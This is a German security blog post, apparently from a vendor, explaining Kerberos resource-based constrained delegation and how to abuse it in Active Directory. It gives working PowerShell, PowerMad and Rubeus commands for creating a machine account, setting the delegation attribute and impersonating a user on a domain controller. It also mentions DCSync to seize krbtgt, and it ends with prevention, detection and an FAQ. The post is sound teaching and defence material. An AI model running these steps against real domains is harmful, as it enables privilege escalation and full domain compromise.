Missbrauch der ressourcenbasierten eingeschränkten Delegation

Delegation ist für die meisten IT-Administratoren verwirrend und kompliziert. Active Directory bietet unbeschränkte Delegation, eingeschränkte Delegation und ressourcenbasierte eingeschränkte Delegation (RBCD).

Dieser Blogbeitrag erläutert, warum ressourcenbasierte eingeschränkte Delegation sicherer ist als ihre Vorgänger – und wie sie dennoch missbraucht werden kann und als Mittel zur lateralen Bewegung und privilege escalation verwendet wird. Insbesondere werden wir ein Szenario durchgehen, in dem ein Angreifer die ressourcenbasierte eingeschränkte Delegation und einige schlecht konfigurierte Active Directory-Berechtigungen missbraucht, um Computerkonten in Active Directory zu erstellen.

Am Ende liefern wir den Code für die Schritte des Angriffs und ein FAQ, das weitere Informationen zu den drei Arten von Kerberos delegation bereitstellt.

Grundlagen von RBCD

Ab Windows Server 2012 kann ressourcenbasierte eingeschränkte Delegation direkt auf der Ressource oder einem Computerkonto konfiguriert werden. Dies unterscheidet sich von anderen Delegationsarten, die auf den Konten konfiguriert werden, die auf die Ressource zugreifen. Ressourcenbasierte Delegation wird durch das Attribut msDS-AllowedToActOnBehalfOfOtherIdentity gesteuert; es speichert einen Sicherheitsdeskriptor für das Objekt, das auf die Ressource zugreifen kann.

Warum ist dieses Delegationsmodell besser als seine Vorgänger? Microsoft formuliert es so: „Durch die Unterstützung von eingeschränkter Delegation über Domänen hinweg können Dienste so konfiguriert werden, dass sie eingeschränkte Delegation verwenden, um sich bei Servern in anderen Domänen zu authentifizieren, anstatt uneingeschränkte Delegation zu verwenden. Dies bietet Authentifizierungsunterstützung für domänenübergreifende Dienstlösungen durch die Nutzung einer bestehenden Kerberos-Infrastruktur, ohne dass Front-End-Dienste das Vertrauen benötigen, an jeden Dienst delegieren zu können.“

Überblick über einen Angriff

Um einen ressourcenbasierten eingeschränkten Delegierungsangriff durchzuführen, muss ein Angreifer folgendes tun:

• Füllen Sie das Attribut msDS-AllowedToActOnBehalfOfOtherIdentity mit einem Computerkonto aus, über das sie die Kontrolle haben.
• Kennen Sie ein SPN, das auf dem Objekt gesetzt ist, auf das sie zugreifen möchten

Da standardmäßig alle Benutzer 10 Computerkonten erstellen können (MachineAccountQuota), lassen sich diese Aufgaben leicht von einem nicht privilegierten Konto ausführen. Das einzige Privileg, das ein Angreifer benötigt, ist die Fähigkeit, das Attribut auf dem Zielcomputer zu schreiben, aufgrund einiger schlecht konfigurierter Active Directory-Berechtigungen.

Um dies zu erreichen und einen schnellen Proof of Concept zu zeigen, werden wir die folgenden Tools mit dem folgenden Szenario verwenden:

1. Wir haben ein nicht-privilegiertes Konto auf einem Windows 10-Host kompromittiert, das aufgrund schlecht konfigurierter Active Directory-Berechtigungen die Berechtigung hat, das msDS-AllowedToActOnBehalfOfOtherIdentity-Attribut auf einem Domain-Controller zu schreiben.
2. Wir werden ein neues Computerkonto mit PowerMad erstellen (erlaubt aufgrund des Standardwerts MachineAccountQuota).
3. Wir haben das msDS-AllowedToActOnBehalfOfOtherIdentity-Attribut so gesetzt, dass es einen Sicherheitsdeskriptor mit dem von uns erstellten Computerkonto enthält.
4. Wir nutzen Rubeus, um ressourcenbasierte eingeschränkte Delegation zu missbrauchen.

Schritt 1. Überprüfen Sie den Zugriff des kompromittierten Kontos.

Zunächst werfen wir einen Blick auf das Konto, zu dem wir als Angreifer Zugang erhalten haben. SBPMLABnonadmin ist lediglich ein reguläres Domänenbenutzerkonto, das lokale Administratorrechte auf seinem Rechner besitzt. Der Screenshot unten zeigt, dass wir mit unseren aktuellen Berechtigungen nicht über UNC auf die SBPMLAB-DC2 C$ Admin-Freigabe zugreifen können:

Mit Tools, die Berechtigungen und Objekte in Active Directory auflisten, können wir feststellen, dass wir einige Berechtigungen auf einem Domain-Controller haben, den wir ins Visier nehmen werden. Die untenstehenden PowerShell-Skripte identifizieren überall dort, wo eine spezifische Benutzer-SID Vollzugriff, Schreibrecht, Berechtigungen ändern oder Eigenschaft schreiben hat: msDS-AllowedToActOnBehalfOfOtherIdentity auf einem gezielten Rechner

Schritt 2. Erstellen Sie ein neues Computerkonto.

Jetzt, da wir wissen, dass wir die Fähigkeit haben, das Attribut zu ändern, das wir befüllen müssen, benötigen wir ein Computerkonto, das wir kontrollieren, um das Update durchzuführen. Da der Wert von MachineAccountQuota auf dem Standard belassen wurde, können wir PowerMad verwenden, um ein Computerkonto RBCDMachine mit dem Passwort ThisIsATest zu erstellen:

Schritt 3. Erlauben Sie dem Konto, im Namen der anderen Identität zu handeln.

Nun müssen wir das msDS-AllowedToActOnBehalfOfOtherIdentity-Attribut so setzen, dass es den Sicherheitsdeskriptor des von uns erstellten Computerkontos enthält, und das msDS-AllowedToActOnBehalfOfOtherIdentity-Attribut des DC, über den wir Berechtigungen haben, entsprechend befüllen:

Jetzt müssen wir nur noch den Hash des Passworts ‘ThisIsATest’ für unser RBCDMachine-Konto bekommen:

Passworthash für das RBCDMachine-Konto

Schritt 4. Nutzen Sie Rubeus, um RBCD auszunutzen.

Jetzt haben wir alles, was wir benötigen, um Rubeus zur Ausnutzung der ressourcenbasierten eingeschränkten Delegation zu verwenden. Um zusammenzufassen, was wir bisher gesammelt haben:

• Ein Benutzer, den wir imitieren möchten
• Das RBCDMachine$-Konto, das wir erstellt haben, wird im Ziel-DC im Attribut msDS-AllowedToActOnBehalfOfOtherIdentity hinterlegt
• Der Hashwert für das Passwort des RBCDMachine$-Kontos (0DE1580972A99A216CED8B058300033F)
• Der servicePrincipalName, zu dem wir Zugang für den anvisierten Domänencontroller erhalten möchten

Mit diesen Informationen können wir den folgenden Befehl in Rubeus ausführen, um das Ticket in den Speicher zu importieren:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

Wir können bestätigen, dass das Service-Ticket erfolgreich mit klist importiert wurde. Jetzt können wir erfolgreich zum SBPMLAB-DCC$ Admin-Freigabe auf dem Domain-Controller navigieren und dessen Inhalt auflisten:

Weitere Schritte

Nachdem wir Zugang zur Admin-Freigabe auf dem Ziel-Domaincontroller erhalten haben, können wir Schritte unternehmen, um die Persistenz zu sichern oder sogar unsere Berechtigungen weiter zu erhöhen, wie zum Beispiel das Kompromittieren der NTDS.dit-Datei.

Eine weitere Möglichkeit besteht darin, Zugriff auf den LDAP-Dienst anzufordern, indem der msdsspn-Parameter im Rubeus-Befehl geändert wird, und das auszunutzen, um einen DCSync-Angriff durchzuführen und die Kontrolle über das krbtgt-Konto zu übernehmen.

Hier ist das zwischengespeicherte Ticket für den LDAP-Dienst:

Und hier ist, wie wir DCSync ausführen können, nachdem wir Zugang zu LDAP erhalten haben:

Angriffserkennung und -prävention

Lassen Sie uns schnell die Schritte zusammenfassen, die wir unternommen haben, um einige Strategien zur Verhinderung dieser Art von Angriff zu enthüllen:

1. Wir haben ein Konto übernommen, das die Fähigkeit hatte, das Attribut ‘msDS-AllowedToActOnBehalfOfOtherIdentity’ eines Domain-Controllers zu ändern.
2. Wir haben ein Computerkonto erstellt und dabei die Standard-MachineAccountQuota-Einstellung genutzt.
3. Wir haben das Attribut mit dem von uns erstellten Maschinenkonto befüllt.
4. Wir haben Rubeus verwendet, um ein Ticket für den LDAP-Dienst auf dem DC anzufordern.
5. Wir konnten DCSync ausführen, um das krbtgt-Konto zu übernehmen.

Prävention

Wie können Sie verhindern, dass einige dieser Dinge in Ihrer Umgebung auftreten?

• Verstehen und beschränken Sie die Berechtigungen von Active Directory. Zu wissen, wer Zugriff auf Active Directory hat, ist entscheidend für dessen Sicherung. Die Möglichkeit, ein Attribut eines Computerobjekts zu ändern, ist nur einer der Wege, die ein Angreifer nutzen kann, um Ihre Umgebung auszunutzen. Die Fähigkeit, Gruppenmitgliedschaften zu ändern oder Passwörter anderer Benutzer in einer Umgebung zurückzusetzen, kann genauso schädlich sein und mit Werkzeugen wie BloodHound viel einfacher ausgenutzt werden. Schauen Sie sich die Netwrix Active Directory Security Solution an, um zu erfahren, wie sie Ihnen helfen kann, sicherzustellen, dass Ihr AD sicher konfiguriert ist, übermäßige Zugriffsrechte und versteckte Admins zu identifizieren und ausgeklügelte Angriffe in Echtzeit zu erkennen und zu verhindern.
• Stellen Sie sicher, dass sensible Konten, die nicht delegiert werden sollten, entsprechend gekennzeichnet sind. Das Hinzufügen eines Benutzers zur Gruppe der Protected Users oder das Aktivieren der Option ‘Account is sensitive and cannot be delegated’ wird einen Angriff durch ressourcenbeschränkte Delegation sofort stoppen.

Detection

Um Angriffe mit ressourcenbeschränkter Delegation zu erkennen, können Sie Folgendes tun:

• Überwachen Sie, ob Computerkonten von Nicht-Administratoren erstellt werden. Das Attribut 'mS-DS-CreatorSID' wird gesetzt, wenn ein Nicht-Administrator ein Computerkonto erstellt, sodass Sie diesen Befehl verwenden können, um diese Konten zu identifizieren:

      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

Code

• Ermitteln Sie die Berechtigungen auf einem gezielten Computer ($target) für das Konto, das wir besitzen ($myaccount):

      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      

• Überprüfen Sie die MachineAccountQuota-Einstellung für die Domäne und erstellen Sie ein Computerkonto mit PowerMad:

      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      

• Aktualisieren Sie das msDS-AllowedToActOnBehalfOfOtherIdentity-Attribut mit dem neu erstellten Computer:

      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      

• Holen Sie sich den Hash des Passworts, das wir für unser Computerkonto festgelegt haben:

      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      

• Verwenden Sie Rubeus, um den RBCD-Missbrauch auszuführen:

      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

FAQ

Was ist Kerberos-Delegierung?

Der praktische Einsatz von Kerberos delegation besteht darin, einer Anwendung oder einem Dienst zu ermöglichen, im Auftrag eines anderen Benutzers auf Ressourcen zuzugreifen, die auf einem anderen Server gehostet werden.

Wie funktioniert uneingeschränkte Delegation?

Unbeschränkte Kerberos-Delegierung ermöglicht einer Anwendung oder einem Dienst, einen Zielbenutzer bei jedem anderen gewählten Dienst zu imitieren.

Wie funktioniert eingeschränkte Delegation?

Die eingeschränkte Delegation ermöglicht es Ihnen festzulegen, an welche Dienste ein Konto delegiert werden kann. S4U2proxy ist die Erweiterung der Kerberos Constrained Delegation.

Wie funktioniert die ressourcenbasierte eingeschränkte Delegation?

Anstatt festzulegen, welches Objekt an welchen Dienst delegieren kann, gibt die Ressource, die den Dienst hostet, an, welche Objekte an sie delegieren können.